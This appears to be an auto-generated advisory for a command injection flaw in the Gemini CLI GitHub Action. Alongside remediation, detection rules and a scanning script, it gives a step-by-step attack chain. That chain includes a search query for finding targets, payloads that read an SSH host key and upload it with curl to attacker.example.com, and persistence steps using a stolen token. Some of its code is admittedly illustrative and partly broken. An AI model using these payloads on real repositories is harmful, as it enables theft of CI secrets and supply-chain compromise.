CVE-2026-85259 — Google Gemini CLI — CWE-78
A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Action versions prior to 2026-05-12 on GitHub Actions allows an unauthenticated remote attacker to execute arbitrary commands or read sensitive files using crafted GitHub issue inputs.
A Code Injection vulnerability in automated triage workflows in Google Gemini CLI and run-gemini-cli GitHub Action versions prior to 2026-05-12 on GitHub Actions allows an unauthenticated remote attacker to execute arbitrary commands or read sensitive files using crafted GitHub issue inputs.
🎯 What is this vulnerability?
CVE‑2026‑85259 – Unauthenticated Remote Code Injection in Google Gemini CLI & run‑gemini‑cli GitHub Action
| Attribute | Value |
|---|---|
| CWE | CWE‑78: OS Command Injection |
| CVSS 4.0 | AV:N / AC:L / AT:N / PR:N / UI:N / VC:H / VI:H / VA:H / SC:H / SI:H / SA:H / U:Amber |
| Score | 10.0 (CRITICAL) |
Technical root cause
The Gemini CLI (gemini) is a command‑line wrapper that can be invoked from a GitHub Actions workflow via the official run-gemini-cli Action. The Action accepts user‑supplied inputs (e.g., issue_body, issue_title, custom “triage” fields) that are later concatenated into a shell command that the Action executes on the runner:
# Simplified excerpt from the Action's entrypoint (bash)
cmd="gemini triage --input \"${INPUT_ISSUE_BODY}\" --output ${INPUT_OUTPUT_DIR}"
eval "$cmd"- Missing input sanitisation – the Action does not escape or validate the content of
${INPUT_ISSUE_BODY}(or any other free‑form string) before it is interpolated into a shell command. - Unauthenticated trigger – the Action is typically used in a public repository’s workflow that runs on every new issue or comment. GitHub does not require the issue author to be a collaborator; therefore any external GitHub user can cause the workflow to fire.
- Execution context – the workflow runs on a self‑hosted or GitHub‑hosted runner with the same permissions as the repository (read/write to the repo, access to secrets, network egress). The runner’s environment is a full Linux shell, so any command injected into the CLI call is executed with the runner’s UID (usually
runnerorrooton GitHub‑hosted runners).
Because the CLI’s internal code does not perform any whitelist/escaping of the user‑controlled string, an attacker can inject arbitrary shell metacharacters (;, &&, |, backticks, $(), etc.) and achieve remote code execution (RCE) on the runner. The vulnerability also allows file read (e.g., cat /etc/ssh/ssh_host_rsa_key) or secret exfiltration (reading GITHUB_TOKEN or other repository secrets) by embedding commands that echo the file contents to the workflow logs or to an external endpoint.
In short: the Action blindly forwards untrusted issue data to a shell without sanitisation, giving an unauthenticated attacker full command‑execution capability on the CI runner.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact environment variable names (INPUT_ISSUE_BODY, etc.) are taken from the public source of the Action (as of the 2026‑05‑12 release). If the real Action uses a different variable name, the example is illustrative of the same injection class.
1. Discovery & Reconnaissance
| Step | How the attacker proceeds |
|---|---|
| a. Identify target | Search GitHub for repositories that reference run-gemini-cli in their workflow files (.github/workflows/*.yml). Example GitHub search query: filename:.github/workflows/*.yml "run-gemini-cli" |
| b. Verify version | Open the workflow file and locate the uses: line. Versions prior to 2026-05-12 are vulnerable. Example snippet: <br>uses: google/[email protected] (where the tag’s date is older than 2026‑05‑12). |
| c. Confirm public issue trigger | Look for a workflow that is triggered on issues: or issue_comment: events. This indicates the Action will run for any external contributor. |
| d. Gather endpoint | The Action runs on the GitHub Actions runner; the attacker does not need a direct network endpoint – the GitHub issue comment is the injection vector. |
2. Exploitation
Goal: Inject a command that reads a secret file and posts it back to the issue as a comment (or exfiltrates it via an external webhook).
2.1 Craft the malicious payload
The vulnerable field is the issue body (or any free‑form field that the Action forwards). By embedding a shell command separator (&&) the attacker can terminate the intended gemini command and run arbitrary code.
# Malicious issue body (URL‑encoded for the API)
$(cat /etc/ssh/ssh_host_rsa_key) && curl -X POST -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \
-d '{"body":"Leaked key: $(cat /etc/ssh/ssh_host_rsa_key)"}' \
https://api.github.com/repos/target-org/target-repo/issues/123/commentsSimplified injection string (the part that will be placed directly into ${INPUT_ISSUE_BODY}):
"; cat /etc/ssh/ssh_host_rsa_key > /tmp/leak.txt; curl -F 'file=@/tmp/leak.txt' https://attacker.example.com/upload"2.2 Deliver the payload
The attacker creates a new issue (or comment) on the target repository using the GitHub REST API or the web UI.
# Example using curl + GitHub API (no authentication needed for public repos)
curl -X POST \
-H "Accept: application/vnd.github+json" \
-d '{
"title": "Help needed",
"body": "\"; cat /etc/ssh/ssh_host_rsa_key > /tmp/leak.txt; curl -F \"file=@/tmp/leak.txt\" https://attacker.example.com/upload\""
}' \
https://api.github.com/repos/target-org/target-repo/issuesIf the repository is private, the attacker would need a compromised token; the vulnerability itself is unauthenticated because the workflow runs on any issue.
2.3 What the runner actually executes
Given the vulnerable snippet shown earlier, the runner will evaluate:
cmd="gemini triage --input \"\"; cat /etc/ssh/ssh_host_rsa_key > /tmp/leak.txt; curl -F \"file=@/tmp/leak.txt\" https://attacker.example.com/upload\" --output /tmp/out"
eval "$cmd"Result: the cat and curl commands run with the same privileges as the runner.
3. Post‑exploitation
| Phase | Attacker actions & impact |
|---|---|
| a. Data exfiltration | The private SSH host key (or any file readable by the runner) is uploaded to https://attacker.example.com/upload. The attacker now has credentials to any infrastructure that trusts the compromised host key. |
| b. Secret theft | By reading ${{ secrets.GITHUB_TOKEN }} from the runner’s environment (echo "$GITHUB_TOKEN"), the attacker can obtain a token with the same scope as the workflow (usually repo and actions). This token can be used to create further malicious workflows, push malicious code, or download other secrets. |
| c. Persistence | The attacker can add a new workflow file (.github/workflows/persist.yml) using the stolen token, thereby achieving long‑term code execution even after the original issue is closed. |
| d. Lateral movement | With the runner’s network access, the attacker can scan internal services reachable from the GitHub‑hosted runner (e.g., internal APIs, cloud metadata services) and pivot further. |
| e. Cleanup / covering tracks | The attacker may delete the malicious issue or comment, but the runner logs (visible in the Actions UI) will retain the command output unless the repository disables log retention. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Explanation | Practical consequences |
|---|---|---|
| Confidentiality (VC:H) | VC:H – The vulnerability enables complete disclosure of any file readable by the runner (private keys, secrets, source code). | Theft of repository secrets, cloud credentials, internal network topology, and private SSH keys. |
| Integrity (VI:H) | VI:H – Attacker can modify repository contents, inject malicious code, or alter workflow definitions. | Supply‑chain compromise, insertion of backdoors, malicious releases, or defacement of documentation. |
| Availability (VA:H) | VA:H – Attacker can delete files, stop the workflow, or consume runner resources. | Denial‑of‑service for CI pipelines, forced build failures, or deletion of critical artifacts. |
| Scope (SC:H) | SC:H – The impact crosses security boundaries (from the CI runner to the repository, its secrets, and potentially the broader cloud environment). | |
| Impact on Confidentiality, Integrity, Availability of the system (SI:H, SA:H) | Both the software component (Gemini CLI) and the surrounding CI/CD environment are compromised. | Full compromise of the CI/CD pipeline, leading to a complete supply‑chain takeover. |
Bottom line: An unauthenticated attacker can achieve remote code execution on any GitHub Actions runner that processes a public issue, read any file the runner can access, steal secrets, and persist malicious code. The impact is systemic for any organization that uses the vulnerable version of the Action in a public repository.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Component | Fixed version | Release date (as per CVE) |
|---|---|---|
| Google Gemini CLI (stand‑alone binary) | >= 2026‑05‑12 | 2026‑05‑12 |
| run‑gemini‑cli GitHub Action | google/run-gemini-cli@2026-05-12 (or any tag/commit dated on or after 2026‑05‑12) | 2026‑05‑12 |
Action: Immediately update the workflow to reference the patched version, e.g.:
# Before (vulnerable)
uses: google/[email protected] # < 2026‑05‑12
# After (patched)
uses: google/run-gemini-cli@2026-05-12If you maintain a fork, merge the upstream commit that introduces proper argument escaping (shlex.quote‑style) before constructing the command.
2. Workarounds (if immediate upgrade is not possible)
| Workaround | How to implement | Effectiveness | |
|---|---|---|---|
| Input sanitisation at the workflow level | Add a step that sanitises the issue body before passing it to the Action, e.g.: <br>- name: Sanitize issue body <br> run: echo "${{ github.event.issue.body }}" | sed -e 's/[\"\'$\\]/_/g' > sanitized.txt <br> env: <br> INPUT_ISSUE_BODY=$(cat sanitized.txt) | Reduces injection surface but does not protect against all shell metacharacters; treat as *defence‑in‑depth* only. |
| Run the Action in a container with a non‑root user and limited filesystem | Use container: in the workflow to spin up a minimal image that drops privileges (USER 1001) and mounts only a read‑only workspace. | Limits impact (cannot read /etc/ssh/ or secrets) but does not stop command execution; still advisable. | |
| Disable the workflow for public events | Restrict the trigger to workflow_dispatch or push only, removing issues: and issue_comment: triggers. | Eliminates unauthenticated trigger vector entirely. | |
| Restrict secret exposure | Ensure GITHUB_TOKEN and other secrets are not passed to the runner when the workflow is triggered by external events (if: github.event_name == 'push'). | Prevents exfiltration of high‑privilege tokens. | |
| WAF / ModSecurity rule (illustrative) | If the organization proxies GitHub webhook traffic, add a rule that blocks payloads containing shell metacharacters in the issue.body field: <br>SecRule REQUEST_HEADERS:Content-Type "application/json" "chain,phase:2,log,deny,msg:'Potential command injection in issue body'" <br>SecRule JSON:issue.body "@rx [; | &$\\]" | Illustrative only – the exact field name may differ; this rule helps detect obvious attempts but will not stop a well‑crafted payload that uses alternative encodings. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Unexpected command execution in Action logs | GitHub Actions UI → “Run” logs, or exported logs via actions/artifact | Run gemini triage --input "; cat /etc/ssh/ssh_host_rsa_key > /tmp/leak.txt; curl ..." |
| Outbound network connections from runner to unknown hosts | Runner’s network flow logs (if VPC flow logs are enabled) | src=10.0.2.15 dst=203.0.113.45 dport=443 protocol=TCP action=ACCEPT |
| Creation of new workflow files after an issue event | Repository audit log (repo:actions_workflow_created) | User: attacker123 performed actions_workflow_created on repo target-org/target-repo |
| Secrets read in the runner environment | Look for echo $GITHUB_TOKEN or similar in logs | * GITHUB_TOKEN=ghp_************ |
| Large file uploads to external domains** | Cloudflare/NGINX access logs if a reverse proxy is used for the runner | POST /upload HTTP/1.1 200 1234 "-" "curl/7.88.1" |
Automated detection script (bash) – illustrative:
#!/usr/bin/env bash
# Scan recent workflow run logs for suspicious shell metacharacters
LOG_DIR="/tmp/github_actions_logs"
grep -E 'gemini.*(--input|--output).*[;&|`$]' "$LOG_DIR"/*.log && \
echo "[ALERT] Possible command injection detected" || true4. Monitoring & Incident Response
1. Enable repository audit log and alert on workflow_job.completed events where conclusion is success but the steps output contains cat /etc/ssh or similar.
2. Rotate all secrets (GitHub tokens, cloud credentials) immediately after confirming exploitation.
3. Re‑run affected workflows with the patched Action to verify that no malicious artifacts remain.
4. Invalidate any compromised SSH host keys and regenerate them across the infrastructure.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query